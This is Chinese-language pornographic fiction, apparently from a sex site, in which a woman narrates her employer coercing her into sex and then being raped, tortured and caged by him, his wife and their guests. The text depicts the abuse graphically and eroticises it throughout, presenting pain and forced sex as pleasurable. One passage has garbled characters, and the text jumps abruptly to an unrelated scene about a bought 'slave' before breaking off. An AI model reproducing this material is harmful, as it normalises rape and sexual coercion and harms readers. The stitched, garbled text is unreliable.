男人不识本站,上遍色站也枉然

 
 

 热门搜索:


我第一次的SM经历是我在城里为一对律师夫妇的办公室打杂的时候。有一
天我被老板叫进他的办公室。他说他看过我的E- mail,发现我在网上订阅
了一些有关捆绑的邮件。他给我两个选择,要麽服从他的安排,要麽就离开。我
很需要这份工作,所以我选择了服从。
  他立刻要我在办公室里就把衣服脱掉,当他看见我居然穿着吊带袜,他的眼
睛都快凸出来了。然后他命令我这不必脱掉,因为他要自己来帮我脱。他要我到
隔壁房间去,那是会议室,有一张巨大的红木桌。
  他命令我爬上桌,尽可能地张开腿,然后他不知道从哪儿拿出来一些绳子,
把我以“大”字形捆在桌上。房间是冰凉的,桌面也是冰凉的,但他不管这些,
只是告诉我说我的乳头已经立起来了,看来我也喜欢他对我这麽做。他一边说,
一边捏住我的乳房,拼命地揉弄着。
  然后他爬到我身上,撕破了我的吊带袜,我只能不穿内衣回家了。他说他想
看看我那里有多大,他要用手指来量一下。他的手指十分粗,他分开我的阴唇,
然后把一根手指用力地往里面挤,发现我还是个处女,我那里几乎连他的一根手
指都容不下。
  他不禁惊叹起来:“真是让人惊喜啊!你一定会觉得很痛的。”说着,他就
去打电话叫他的妻子过来。他告诉她说我还是个处女,想要她帮忙,两个人来为
我做检查。
  她在我那里比划了一下,说我那儿应该可以容入差不多20厘米的阴茎。我
几乎要晕过去了,20多厘米,不可能!她俯身拿起一件像内裤的东西,上面有
很多布条,还有一个螺旋,不知道是干什麽用的。然后她从一个储物柜里拿出一
条人造阴茎,把它用螺旋固定在“内裤”上,原来是这个用途。
  她俯身在我的阴部舔着,渐渐地我觉得那儿变湿了,然后她要丈夫按住我的
肩膀,站到我两腿之间,把阴茎拼命地挤了进去。真是残忍的强奸啊……我的处
女贞操居然被同性用电动棒夺去了。但一切还没有结束……
  老板的妻子拼命地挺着腰部,直到电动棒的头部完全进入了我的身体。我觉
得身体像要被撕成碎片一般,我尖叫起来,她竟然把这种比大象的阴茎还要粗的
东西塞入我处女宝贵的阴道!
  她要丈夫爬到桌上去,把阴茎塞到我的嘴里,让我发不出声来。他那东西只
能用毛球来形容,但这毛球马上就填满了我的嘴巴。这以前我还从没有吮吸过男
人的阴茎呢!我只是在网上看到过这方面的东西。
  老板可能知道我正在想什麽,因为他要我用我在上班时间学来的东西来服侍
他。他告诉我说我的每一封邮件他都看过,他知道我喜欢这样,然后他又说他会
惩罚我,现在仅仅是开始而已。
  这时他妻子在进行最后的冲刺,终于把整只阴茎全部塞了进来,把我那里填
得满满的。我又尖叫起来,咬在老板的阴茎上,顿时我意识到我犯了个可怕的错
误。他也大叫起来,用力地拍着我的胸脯,把我的乳房压得都变平了,想让我吐
出来。
  而此时她妻子开始一进一出地飞快地抽动着插在我那里的电动棒,我感到自
己的下面流血了,那是我宝贵的处女血啊!血使时我那里变得更加润滑,她抽插
起来就更容易了。
  老板开始回复意识,他命令妻子从我身上离开,去抽屉里拿夹子来。她离开
我的身体时,把电动棒放到我面前让我看了看,那上面全是血,我下面一定被撕
裂了。
  她回来时老板接过夹子,在我每只乳房上夹了一个,我痛得差点晕过去。然
后他随手拿起一样东西°°那是一条金属尺,不知道谁放在椅子上°°开始拍打
着我的阴部,一边打一边骂道:“你这个小贱人,让你再咬我!这就是给你的惩
罚!”
  然后他开始把几根手指向我的阴道里面挤,同时对妻子说:“这儿还是太紧
了,有什麽办法它松弛一些吗?”
  我觉得经过刚才的那些蹂躏,我那儿已经很松弛了,我开始后悔最初所做的
选择,本来我是有机会逃掉的。我在网上知道有三种类型的人,但是作为玩物,
可能没有人会像我这样。
  妻子说道:“把她翻过来,试试她的肛门。我的肛门被插时,前面就能容纳
更大的阳具。”
  说着她抓住我的双手,老板抓住我的两腿,把我翻了个身,又重新绑好。我
意识到我的肛门现在全都暴露出来,我只希望他们不要这样做。
  老板拿来三本电话簿,垫在我的腹部,我的臀部被迫抬高,电话簿的边角割
得我有点痛,我呻吟了一声。老板又把我的腿解开,把我连同我压着的电话簿拖
到桌子的边缘,我的乳房在桌上摩擦着。然后他把我的两腿绑在桌腿上,我的下
半身就完全悬空了。他脱掉短裤,阴茎弹了出来,至少有30厘米长,直径差不
多有8厘米,然而他说他还没有完全勃起。
  他让妻子用口吮吸了一阵,直到完全勃起。天哪,他竟然要用这东西插入到
我的身体!他走到我身后,掰开我的两腿,使我的下身完全坦露出来,然后把阴
茎放在我的阴部,用它把阴唇分开,然后捅了进去,我觉得它会从我的喉咙里出
来一样。
  他开始有节奏地抽动,同时抓着我的头发,把我的头提起来,说道:“你是
我干过的最好的,以后只要我打电话,你就必须马上过来,明白吗?”
  我只能答应。这时他射了出来。
  终于结束了,我决定明天请病假,然后找过另一份工作。当他离开我的身体
时,他好像知道了我的想法,于是命令妻子拿一碗凉水,一根管子和毛巾过来。
  他把管子插进我的阴道,把精液洗出来,然后把手放在我的臀部,一只手指
还放在肉缝里,然后示意妻子把一样我没看见的东西拿过来。
  他把手放到我的腹部,我感到一条链子绕在上面,但不知道那是什麽,我开
始挣扎,因为我知道那肯定不是什麽好东西。他用力地拍打着我的臀部,同时和
妻子从我两腿中间穿过一样东西,直到我的阴部被完全盖住,然后扣在腰间的链
子上,我听到上锁的声音。
  他们让我站起来,转了个身,站在镜子前,我终于看见他们做了什麽了。他
们在我身上装了一件贞操带,然后从后面锁住了。他要我穿好衣服,坐下来,我
的内裤已经被他撕破,所以我只能裸着下体坐在冰凉的皮椅上,贞操带深深地陷
在肉缝里。
  他解释说就像他开始所说的那样,我将是他们的玩物,他们要在我身上玩尽
所有的花样。我的办公室将挪到他和他妻子的办公室之间,以便他们随时召唤。
  我回到家,试图取下贞操带和锁链,发现根本就取不下来。偶尔娱乐也还罢
了,但我无法想像今后将一直过这样的生活,无边的恐惧涌上心头。可是,穿着
贞操带,我根本毫无选择,只能继续去上班。
  晚上,电话铃声把我从睡梦中惊醒。我听到一个女人的声音:“我们正在床
上,讨论接下来该对你做些什麽,真令人期待。”我再也无法入睡了。
  早上9点,我和往常一样来到办公室,开始做日常工作。11点的时候,电
话响了起来:“时间到了,马上去我妻子的办公室报到。”为什麽是她妻子的办
公室呢?我不由得纳闷,因为我从没去过。
  我来到了她的办公室,她坐在桌后,见我进来,她微微抬起身,叫我走近一
点,站在她两腿中间,背靠在办公桌上。她解开我的上衣,脱掉了我的胸罩,然
后脱掉了我的裙子,以及罩在贞操带上的内裤。她命令我再也别穿内裤了,为了
主人和女主人,我必须保持赤裸。
  接着她命令我转身,趴在桌上,我的双乳压在钉书机、笔等办公用品上。她
用钥匙打开贞操带的锁,解下了贞操带,然后她说她要检查我的阴唇的湿度。我
那里还很乾燥,她显得相当的失望,对我说道:“我们竟然忽视了这一点。”我
不知道该怎麽回答,她对我喝道:“回答我,我在跟你说话呢!小贱人。”我只
好答道:“没有,女主人。”
  她又说道:“还好,我们有6个小时来补救。今天你不准走,直到你那儿兴
奋起来,变湿为止。”
  然后她打电话告诉丈夫,我们准备好让他来检查了。他一进门,按了一个按
钮,天花板上垂下来两副镣铐。
  他要我站起来,把两个夹子夹住了我的乳头。这一次夹子上多了两条小链,
垂在我的胯间,他拉着小链,把我拖到从天花板坠下来的镣铐的地方,叫妻子把
我的手脚铐起来。
  然后他开始检查我的牙齿、鼻子、眼睛、耳朵、乳房(他扯着链子,一会扯
这只,一会扯另外一只)、肚脐和阴道。检查到阴道时,他说:“这些毛太碍事
了,得剃掉它们。”
  他拿来一把剃刀和肥皂水,开始剃我的体毛。表面的剃光之后,他先拿起两
只夹子,上面连着重重的链子。他把夹子夹在我的阴唇上,链子从臀部饶到我的
身后,连在一起,这样我的阴唇就被扯得分开了。
  他接着说道:“别动,我不想剃掉我们还想要留下来玩的东西。”然后开始
剃阴唇内侧的毛,而他的一只手指始终放在我的阴蒂上,慢慢地刺激它。
  他示意妻子蹲在我的胯间,两手放在我的臀部上,我的下体被迫挤向她的嘴
唇。
  我下面现在已经完全坦露出来,她把鼻子凑到我的阴蒂上,头埋在我的两腿
之间,舌头从肉缝的底部往上舔,然后在阴蒂处停下来,像小孩含住奶嘴似地拼
命吮吸着,同时把两根手指塞入我的阴道,兴奋地叫起来:“她这儿湿了,她开
始变湿了!”
  老板把她一把推开,把胖胖的手指塞了进来,试了一下,说道:“不错,但
还不够。她是受到了你的刺激,而不是对疼痛的反应。我要她因为痛也会兴奋起
来,先痛,然后有快感。”
  他从我身后的柜子里拿出一只小吹风,把红色的小嘴塞进我那里,然后打开
吹风。我觉得气体冲了进来,全身颤栗,阴道又变乾了。这时他又把手指插了进
来,但已经很难塞进去了,我痛得尖叫起来,只听他说道:“可以再开始了。”
  他又从柜子里去拿东西,我紧张地看着里面到底有些什麽。他见我扭头看,
就对我说道:“你想看看我们的收藏是吗?好吧,就让你看看。”他把我转了个
身,我看见里面有各种各样的振动器——粗的细的、长的短的、光滑的和表面凹
凸不平的;各种各样夹子,可以夹在身体任何一个部位;剃刀、大头针、香烟、
酒精、皮带以及一些我说不上来的东西。
  他取出一只粗大的振动器,估计和昨天的一般粗细,约有20多厘米。他把
振动器毫不费力地塞入了妻子阴道,对我说:“看看,她这里多湿!我希望你今
天离开的时候也这麽湿。”他命令妻子取出振动器,把它插入了我的下体。
  由于沾了她的体液,所以进入的时候不是十分痛。她开始一边转动振动器,
一边往里插,当它全部进入我的身体后,我忽然感觉到这只振动器和昨天的不太
一样,因为它上面还有一只把手。
  主人叫道:“够了。”他走过来,在振动器的把手上装上一条皮带,用力把
它向上提,使振动器深深地陷入了我的阴道,它现在再也滑不出来了。他命令妻
子把镣铐解开,然后提着皮带,拖着我在房里走了几步,然后从妻子手里接过一
块板子,只要我走得稍微慢了点,他就猛抽我的屁股。
  我下面被刮得乾乾净净的,对此我还很不习惯,走起路来觉得很不自在,特
别是下体被插入异物,拖着走。等到他对我的行走感到满意的时候,我的屁股已
是碰一下都觉得火辣辣的痛。
  现在已经到了下午2点,主人决定要给我做妇科检查。他拖着我赤裸着身体
穿过大厅,来到了另外一间像实验室的房间。我从来都不知道办公室里还有这样
一间房,房里有张椅子、妇产科用的手术台、水池、龙头、鞍马、倒鞍马、跑步
机、滑轮、冰箱,以及其它的我从没见过的东西。
  他命令我坐到椅子上去,把我的手臂绑在椅子背后,两脚绑在椅子的两角,
然后他把阴唇上的夹子解下来,血液回流,使我觉得倍加疼痛。他一手放在我头
上,把我的头向后压,然后扯住我的头发,绑成马尾状,固定在椅背上,这样我
的头也无法动弹,看不到他要干什麽了。
  接着他猛地一扯连在振动器上的皮带,把振动器拉了出来。他不知从哪里拿
出一双乳胶手套戴上,像妇产科医生一样,掰开我的阴唇,放入一根手指,接着
又放入第二根,然后在里面来回捅着。随后他把手指伸给我看,只见上面沾满了
我的体液,他把手指放在嘴里,说道:“尝尝你自己的味道吧!”
  他觉得很满意:“这是好的开始,我没有给你刺激,也不是很温柔,可是你
那儿还是湿了。在回家前再多做些工作,我想就差不多了。”
  他从冰箱里拿出一支冰棍交给妻子,她跪在我两腿之间,把冰棍插了进去,
然后像抽动电动棒一样抽插起来,同时还揉着阴蒂。老板又脱下了短裤,叫我张
开欤∷难粑铩N一贡3肿抛钺岬囊坏阈叱芨校也辉敢庹怊嶙觥?
  “你竟敢拒绝我!”他咆哮道:“很好,看我怎麽收拾你。”他走到妻子身
边,她正用冰棍在我那里捅着。他把连着夹在我的乳头上的夹子的小链绑在椅子
上,我的乳头被扯得剧痛难当,而冰棍的每一下抽插,都使得我不得不全身都要
动,这更加剧了乳房的疼痛。
  我实在忍受不了这种疼痛。他又走过来,把阳物掏出来塞在我的喉咙里,他
警告我说,如果我敢再咬下去的话,他会要了我的命。接着他开始配合妻子的节
奏,在我的嘴里抽插起来,我觉得乳房就像要被撕裂开来一样。
  他终于在我的嘴里射了精,然后捏住我的鼻子,使我不得不把精液全都吞了
下去。同时冰棍也快完全融化掉了,我的下体就像被冻僵了一样。
  接着她又在我那里插入了一根30厘米的电动棒,用胶带把它固定起来,然
后叫我趴在鞍马上,绑了起来,屁股朝后翘着,他拿起一块板子,开始抽打我的
臀部。电动棒在我的体内振动起来,我全身都不由得绷紧了,她对我笑道:“是
不是有点惊讶?这根电动棒可以感应外界的力量,每次我抽打它都会振动,抽打
得越厉害,振动得越快。好玩吧?”
  她继续抽打着,我觉得下面已经湿透了,我的快感越来越强,只希望电动棒
不要停。虽然以前我从来都没有过高潮,但是我知道现在我离高潮已经不远了。
  但就在这时候老板说道:“停。”她停了下来,电动棒也停止了振动。
  我现在的有种说不出的感觉,虽然不知道那是什麽,但却很清楚离目标已经
不远了。她停下来时,我觉得五脏六腑都还在振动,我觉得自己正在要崩溃的边
缘。
  他走过来,踢了踢我的腿,把它们分开,撕掉胶带,把电动棒取了出来,接
着他和妻子几乎同时笑了起来。他把电动棒放到我面前,只见上面的黏液正往下
滴,形成了一条细丝。他对我说道:“再多弄几下你就会有高潮了,不过现在我
们要把你那里弄乾,好让你回家。”
  他又拿起一件湿衣服,拧成一小卷,插入我的阴道,然后马上抽了出来,接
着又拿出吹风,把我那里面又吹乾了。这次他很小心地避免碰到我的阴蒂。
  他把我解下来,要我穿上衣服,我一直都在发抖。当我穿好衣服,他把手伸
进我的衬衣,把夹在乳头上的夹子取了下来,然后命令我弯腰趴在桌上,在我下
面塞入了一颗像球一样的东西,再套上贞操带锁上,然后要我明天按时上班。
  当我开始走动,我觉得体内的小球好像闪着微光,而且还在振动,看来今晚
又要难过了。他看见我没有胸罩,乳房还挺立着,就把手掌又放了上来,一边抚
弄,一边说道:“真迷人啊!”她妻子也走过来,把手伸进我的裙子里,隔着贞
操带揉着我的阴部,一边说:“我更喜欢这里。”
  在回家的路上,我简直以为自己会死掉,小球在体内不停地振动,使我全身
酸麻,但又有种说不出的感觉。
  我意识到这是一个塞子,因为他开始拧动着,扭了一圈又一圈。
  然后他开始舔我的脖子、后背、臀部,又蹲下来舔我的乳房,同时把上面的
夹子解掉,一边用力地揉着,一边把我前后摇动。他说这样子可以让我的肛门松
弛、乾净,才能配合他们的下一步计划。
  他不停地摇晃着,我开始觉得心,不知何时这场噩梦才会过去。便意越来越
重,可是肛门被塞子塞住,根本排不出去。终于他站起来走开了,但临走还在我
的乳房上狠狠地拧了一把,在我的脖子上咬了一口。
  妻子来到我身后,把手伸到我的下体,说道:“有一点湿,不知道是她的小
便还是因为兴奋。”她揪住马尾,提起我的头来喝问道:“小淫妇,告诉到底我
们是什麽?”我老老实实地回答是因为兴奋才变湿了。
  她松开肛门塞,我再也控制不住自己,肚子里的东西立刻狂泄而出。我以为
又要被惩罚了,没想到她说这很正常,因为他们把塞子插得很深。说着她拿起一
支水龙头,冲洗我的下体。等到他们觉得完全洗乾净了,又照刚才的步骤再做了
一次、这次我排出的只剩些清水了。
  他们把我挪到一张躺椅上,这椅子不知是用来做什麽的,起码可以躺上三个
人,像是不钢的,上面安放着一个硬硬的皮枕。
  他们把我的手绑在椅子的扶手上,把我的腿抬起来,直推到我的肩膀,绑在
椅子上方的横梁上,我的后背正躺在皮枕上,这样我的阴部和菊花蕾完全暴露出
来。他们按了一处开关,椅子的背部开始下沉,同时椅子也慢慢地升了起来,直
到老板的腰部才停住。
  他把手放在我的阴部,我注意到他手上戴着一个小机器。他把两只手指放在
阴核上,打开机器的开关,他的手开始振动起来,毫不费力地就使我连泄了好几
次。
  她妻子站在我的头这一边,恶毒地笑着,坐了上来,用指甲在我身上划来划
去,我这才注意到她手上拿着一根针,针头上沾了些黄色液体。老板的手这时停
了下来,不过手指还是放在我的阴核上揉弄着。她把针头上的液体滴入了我的菊
花蕾,同时对丈夫说道:“万事俱备,你慢慢享用吧!”
  我吓了一跳,只见老板把我的臀部又用力地分开,把阳物放在菊花蕾上。他
妻子站起来,趴到我身上,阴部贴在我脸上,她的脸正好放在我的阴部上,用嘴
含住了我的阴核。
  只听老板对她说道:“我来把它填满,你就慢慢地吃吧!”说着便把阳物插
入了我的菊花蕾,她则开始狠狠地在我阴部吸啜起来,就好像把它们当作是自己
的早餐,一面吸,还不时地咬一下。
  随着老板的抽插,我不由得呻吟起来:“啊……啊……”我的嘴不由自主地
张开,正好含住她坐下来的阴部,她摇动着下体,使我的嘴深深地陷了进去。只
听她捏一我说道:“你最好用点心,不然有你好看!”我只得开始舔她的阴户。
  慢慢地,她下面也湿透了,淫水沾得我满脸都是,她把阴蒂放到我的鼻子上
来,按在上面拼命地摩擦,然后她兴奋地叫出声来。
  我的肛门就像在被火煎熬着,老板一边抽插,一边说道:“幸亏我太太用食
用油把你这儿弄得这麽润滑,否则就出血了,你应该好好谢谢她才是。”他不停
地做着活塞运动,剧痛使我几乎快昏过去了。
  虽然她的妻子正拼命地刺激着我的阴部,但现在的我根本毫无快感可言,只
觉得自己是在受罪。她咬着我的阴核,往我那里面插入一根手指,接着第二根,
最后又插入第三根,然后在里面搅动,我甚至可以感觉到她的手指在里面隔着隔
膜搓着丈夫的阳物。老板再也控制不住,在我体内爆发了。
  他“噗”地一声拔出了阳具,把妻子从我身上抱下来,我这才看见他挺着阳
具,叫我把它舔乾净。阳具上面有丝丝血迹,混合着他的精液,红白相间,淫秽
不堪。
  他把阳插进我的嘴里,抓住我的双颊,命令我用舌头舔乾净。
  这时我的上身已是滚烫的了。她让丈夫和朋友也来摸摸看。
  老板示意妻子的朋友把手指伸入我的下体,自己则和男客人一起把手放在我
的双乳上。正揉弄着,妻子的朋友忽然说道:“哎呀!她这里把我的手指夹了一
下!她这里面好有弹性,谁插进去都会被她夹住的!”说着连忙抽出了手指。
  老板这时说可以让我下来了。他们把我解下来,但是又把我推到从天花板垂
下来的铁链处。铁链安放在一个滑轮上,他们把我的双臂分开,绑在铁链上,拉
动滑轮,我的身体又升了起来,直到下体和男人们的下体平行。然后他们把我的
双腿锁在地上的滑轮上,把它们分开。我的双乳仍被绑着,火辣辣地痛,我垂下
了头,只见乳晕已经扩散开来,差不多有半只手掌大,乳头一直是直立着。
  女主人这时候又在她下身戴上了一支电动棒,有三十厘米长,顶端差不多有
2。5厘米粗,到了下面足足有8厘米。她好像在上面滴了些润滑油,我稍微觉
得放心了点,因为那电动棒实在是太粗了,如果不滴润滑油,我那里一定会被挤
破的。
  我的下身被夹上两只夹子,向两边扯开,这样她很轻易就把电动棒插入了我
的身体,开始抽插,这时我忽然觉得下体像被烧灼一般地痛了起来。看到我的表
情,她大笑道:“对不起,我用的是乾冰。”一边说,一边不停地抽动。同时我
感觉到有人站到了我身后,我扭头一看,原来是她的朋友,下体也戴着一支电动
棒,只是比她的小些。我的肛门马上就被这支电动棒插入了。
  她们轮流抽动,一个抽出,另一个就插入,我可以感觉到两支电动棒在我的
体内摩擦。我的身体慢慢地兴奋起来,很快就快要泄了出来,这时她们立即抽身
而退,我觉得两个肉洞还因为兴奋在一张一合,自己也无法控制了,同时阴道里
像火烧的感觉仍然十分强烈。
  老板和他的客人拿着长鞭,开始抽打我的臀部,一人抽打左边,另一人抽打
右边,连续不断。我想哀求他们不要再打,可是我的嘴被堵住,说不出话来。好
不容易他们停了下来,扔下鞭子,客人站到了我面前,我感觉到老板就站在我身
后。客人解下夹在阴唇上的夹子,他说更喜欢它们在阳具上摩擦的感觉,说着便
插了进去。我那里现在太敏感了,感觉他的阳具比老板的大得多。
  老板则掰开我的双臀,把手指插进了肛门,在里面转动着,过了一会才抽出
手指,抓住我的臀部,把阳具插了进去。第一下痛得我难以忍受,但随着他们前
后抽插,快感又渐渐地涌了上来。
  老板把手放到我的小腹下方,捻住阴核揉弄着,同时他的朋友一口咬住了我
的乳头,我被痛苦和快感折磨得痛不欲生,但自己也忍不住泄了出来。只听他的
朋友说道:“太爽了!烫死我了!”说着我感觉到他那东西忽然变得更硬,随即
一股热流喷到我的花心上,烫得我全身发抖。他满足地呻吟着,阳具抽了出来。
  老板见状也把阳具抽出来,命令妻子替他吮吸。她含住丈夫的阳具,上下套
弄,双手紧握住两只小球。老板看着我,对我笑道:“下次这些再给你吧!”说
着便在妻子的嘴里射了出来。
  他们把我放下,我只觉得全身酸软,一动不能动,只能像洋娃娃一样任由他
们摆布。他们把我放在一张桌上,拿来沐浴液和细管,然后解开了绑住乳房的绳
子,顿时我又觉得胸部一阵剧痛。我想要翻个身,但他们马上压住我,让我无法
动弹。
  他们用沐浴液擦遍我的全身,然后把一条“Y”字形的软管一头插进我的阴
道,另一头插进了肛门,接着打开开关,用温水把我全身里里外外都冲乾净,然
后用一条大毛巾替我擦乾身体,全身都涂上了护肤水。
  他们把我领到房间一角,那儿摆着一只大铁笼,里面有马桶、床、一张椅子
以及电视。他们打开笼门,把我推进去,让我好好休息,因为明天还有好戏要上
演。
  笼门又被锁上,我就赤裸着被锁在笼子里。
  我躺下来,我的思绪已经变得断断续续,我只能想起来他们在对我所做过的
事。想着想着,我不由得把手伸到下体,刚把手指放入,只听见一个声音喝道:
“没有得到许可,不准自慰!否则我们又会把你的手绑起来。只有我们才能碰那
儿。”
  我这才知道他们还在监视着我,在他们面前我没有任何隐私。我只好蜷曲着
身体,很快就睡着了。
  第二天清晨,我突然惊醒,有人正抓着我的腿把我从床上拖起来,原来是老
板和他的朋友,我迷迷糊糊地回到了现实。他们把我拖到一个雕塑前,命令我跪
下来,搂住雕塑,这雕塑有一只巨大的阳具。老板的朋友走到雕塑的另一头,粗
暴地抓住我的手臂拖了过去,使我不得不抱住雕塑,然后老板把它们铐了起来。
  我抬头看去,只见那巨大的阳具正对着我的脸,雕刻得十分逼真,下面像真
人一样还有两只睾丸。他们说,我的早课就是学习怎样吮吸男人的阳具,所以命
令我把那假阳具含在嘴里套弄。我只好张开嘴,含住了假阳具的龟头。
  老板走到我的身后,一把扯住我的头发,喝道:“嘴巴张大点!”说着把我
的头按了下去,接着又提起来:“嘴唇要紧紧地包住它,上下套弄时要记得吮吸
它。”他把我的头反覆地按下去,又提起来:“对,就是这样……”
  “现在头再往下一点,舔它的睾丸,把它们含在嘴里。”我把睾丸含在嘴里
后,才发现它们并不是石头,而是放入了小球的皮袋,在阳具下面摇荡着。我吮
吸它们的时候,觉得上面和真人的一样,覆盖着一些硬硬的毛,扎得我的嘴巴发
痛。
  “把它们含在嘴里,头托起来一点……别忘了要吮吸……好了,再来吮吸阳
具。你就这样做一个小时,待会我们再让你试试真的东西。”
  他们找了两张大皮椅坐了下来,翘起二郎腿,自顾自地交谈去了。我发现他
们在交谈的时候,手都放在自己的阳物上。我不停地套弄着,只要我一停下来想
喘口气,他们就会训斥我,命令我专心做自己的事。
  一个小时过去了,这时他们的阳具也差不多和这雕塑的一样坚挺。我觉得由
于一直在套弄,嘴巴好像有点受伤了。老板的朋友走过来,把我的手解开,命令
我爬到老板身边去,他则在我身后把手指插在我的肛门里,推着我向前爬。
  来到老板的两腿间,他的阳具直挺挺地立着,老板指了指阳具,我心里暗暗
地叹了口气。老板见我犹豫,马上掴了我两掌,又指了指自己的阳具。
  我低下头,开始照他们教的那样套弄他的阳具。他不停地命令我快点、再快
点,我想我已经不能再快了。他抓着我的头发,扯着我的头飞快地上下套弄,我
喘不过气来。终于他射了出来,把我死死地按住,直到把所有的精液全都吞了下
去。
  然后他把我拖到朋友那儿,按住我的头,把我的嘴又套住了朋友的阴茎。他
要我慢慢弄,用舌头舔上面的小眼,我觉得这样轻松多了。过了一会,他也在我
嘴里射了出来,命令我全吞了下去。他的东西和老板的味道也不太一样,老板的
是略微带些甜味,而他的则是咸的。
  然后他们去吃早餐。他们在我的颈环上拴上一条皮带,牵着我来到一楼的院
子里,他们的妻子已经在开始吃了,桌上有五套碗筷。这是一张玻璃桌,透过桌
面,可以清楚地看到下面。
  老板把我牵到一张黑木椅前,命令我坐上去。我低头一看,椅子正中央像山
峰一样竖立着一条假阴茎,有30厘米长,直径差不多有8厘米。女主人的朋友
走过来,在假阴茎上抹了些润滑剂,调整了一下位置,然后命令我坐上去。
  刚插入不到一半,我就痛得受不了了,我停了下来。女客人见状,对丈夫说
道:“看来她不太愿意坐下来……”她丈夫立刻走过来,双手按住我的肩膀,我
忙道:“让我自己来,我自己来……”她笑道:“太晚了!”正说着,她丈夫已
经把我的身体用力向下摁,直到我的臀部坐在椅子上。我痛得哀号着,汗水与泪
水夹杂着从我的脸上滑落。
  她根本不理会我的惨叫,蹲下身把我的腿绑在椅子的两脚,这样假阴茎就刺
得更深了。我痛得无法呼吸,张开了嘴,大口大口地喘着粗气。她又把我的手反
绑在背后,然后把拴住颈环的皮带另一头挤在我的阴部下面,命令我吃点东西。
  我这时已经完全没有了食欲,但是我知道现在才十点,如果不吃的话,今天
一天都不知道要怎麽渡过。
  他们又坐下来继续进餐,女客人则仰头侧向我这边,对老板和女主人说她把
这张椅子改进了一些。她让丈夫把我连人带椅拖开,好让大家看清楚,然后她把
压在我阴部下的皮带拿开,放进一个像碗似的东西,打开椅子上的一个开关,插
在我体内的东西立即活动起来。
  老板和女主人大加赞赏,特别是对放入那只碗的主意赞不绝口,因为那样我
的高潮来临时,下身流出来的爱液就不会浪费掉了。
  假阴茎在体内旋转着,不时地又一进一出地振动,高潮一波一波地袭来。当
我觉得又一次高潮要来的时候,女客人过来把椅子放倒,我以为她要关掉开关,
没想到她把速度又调快了些,假阳具在我体内还没有转完一圈,我又泄了。
  我被弄得精疲力竭,这时他们也用完了早餐,她过来终于关掉了开关。女主
人和朋友一起弯下腰来,同时吮吸着我的两只乳房,使我又兴奋起来。不过这次
她们没有再继续刺激我,而是把我从假阴茎上提起来,带到厨房里的洗手间,把
我全身洗刷乾净。
  我又被牵出洗手间,他们让我站在一扇巨大的玻璃窗旁边,阳光照在身上,
显得比在其它房间里暖和多了。他们把我的腿打开,又插入了一根电动棒。我已
被折腾得有气无力,他们怎麽这样不厌其烦地折磨我那里啊!
  他们转动电动棒底部的旋钮,把我的阴道扩张开来,我这才意识到那不是一
根电动棒,而是一种妇科检查用的设备,但与正常的设备又有所不同,因为上面
还挂着两条小链。他们在我的腰间绑上一条锁链,然后把两条小链接在上面,再
在那东西上拴上一条皮带。我的手被绑在腰间的锁链上,被迫挺起胸部和乳房,
乳房上又被用夹子夹住,夹子上还挂着两只小铃铛。
  他们打开门,从院子里向外走,同时向我呵斥着,命令我紧紧跟上。我一点
心理准备都没有,特别是现在这样的打扮,我真像一个淫荡的女人。
  他们恼怒起来,在我的肛门插入一支黑色的粗大的电动棒,上面再连上一根
像曲棍球杆一样的棍子,握着棍子推着我,就这样大白天地走了出去。
  他们直接朝一间储物室走去,房间里是冰冷的,还有动物的响声。穿过储物
室,我们来到一个小湖边,他们拼命地推着棍子,把我挤下湖去,直到他们够不
着棍子。冰冷的湖水淹到了我的脖子,他们向我嘲笑说我下面全被打开了,希望
不要有什麽东西爬进去。可是我感觉到湖里有青蛙,还有鱼在游来游去。
  他们躺在岸边,开始互相挑逗、做爱,好像忘了我的存在。我不断地感觉到
有鱼在我的阴部碰挤,吓得我全身发麻,害怕一不小心就会有一条爬进去。我想
把阴部并拢来,可是夹着那东西,我根本就做不到。
  等到他们互相发泄完毕,才把我拖上岸,让我躺在草地上,取出了电动棒和
那检查器,腰间的链子还锁着我的双手。他们找到一棵倒下的大树,把我绑在树
上,拣起一些树枝,不由分说地对我抽打起来,被抽打得最多的是我的臀部。然
后又把我横放在树上,下体被迫抬高,手被压在臀部下,又开始抽打起我的阴户
来。
  过了一阵,老板的朋友过来检查,看看我是不是这样也会兴奋,当然他失望
了,谁会在这种情况下还会兴奋呢?
  女主人见状,就过来把我的阴唇掰开,让她的朋友过来在里面拼命地舔,渐
渐地我开始兴奋起来了。
  女主人靠在我身上,用手指在我那里试探了一下,然后一边伸手在我面前晃
动着,一边说道:“你终于在疼痛的时候也有快感了。主人一定会很高兴的!”
  正说着,她的朋友从口袋里掏出一条小链,绑在我乳房上的挂着铃铛的链子
上,然后把我拖起来,我们回到了别墅。
  走上台阶,我已是气喘吁吁了。他们继续拖着链子,把我拖到楼上的房间,
老板和他的朋友要我演示早上所学的东西。他们把我推倒在金属凳上,脚固定在
脚蹬上向两旁打开,头发又被束起来固定在椅子上,扯得我的脖子发痛。然后他
们把椅子的头部放下来,直到与他们的腰部平齐;接着升起底部至相同位置。由
于这椅子是架在一张平台上的,他不得不把我的头又往下放,最后我就变成头下
脚上了。
  他们走上前来,朋友在我的头这边,老板站在我的腿间。他们用鳄鱼夹夹住
我的乳房,中间的链子上还拴着根细绳,老板把细绳抓在手上。
  老板对朋友笑道:“我们来比一下,看谁先射出来,赢的人可以再享用她的
肛门。”说罢两人就开始了比赛。
  老板在我的下体抽插着,而他的朋友则把阳具放进了我的嘴里,两人一边抽
动,一边扯着我的乳房和阴蒂。
  最后他的朋友先在我嘴里射了出来,欢呼道:“我赢了,我赢了!”老板忿
忿地拍打着我的阴部,骂道:“小贱人,你肯定是想他赢,所以你很卖力地吸他
的肉棒,让我自己做这力气活!”正说着,他也在我体内射了出来。
  他粗鲁地解开我的双腿,抬到我的头上,把肛门坦露给朋友看,同时说道:
“去吧,狠狠地干她!给我狠狠地干!”这时她朋友的妻子用手把丈夫的肉棒弄
得又挺起来,然后他猛地刺入了我的肛门,粗鲁地拔出来,又刺了进去,然后又
这样来了一次,这才在里面抽插起来。
  他果真是按老板所指示的那样,恶狠狠地抽插着。我的双乳来回地弹动,有
几下几乎要弹到脸上。
  我们向目的地出发,我在马背上颠簸着,还听见另一只放在马背上的大袋子
里传来一阵呜咽声,原来除了我之外,庄先生不知道从哪里还买了别的奴隶。我
想与这人说几句话,但没有回答,他要麽是不能说话,要麽就是嘴巴被堵住了。
  我们一直都在崎岖的山路上前进。时间慢慢地过去了,我们终于到达了庄先
生的农场。他下马打开大门,然后解下了袋子,从里面拖出一个男人来。这人手
脚被绑在一起,庄先生把它们分开,叫了几个人出来,他们用棍子穿过那人的手
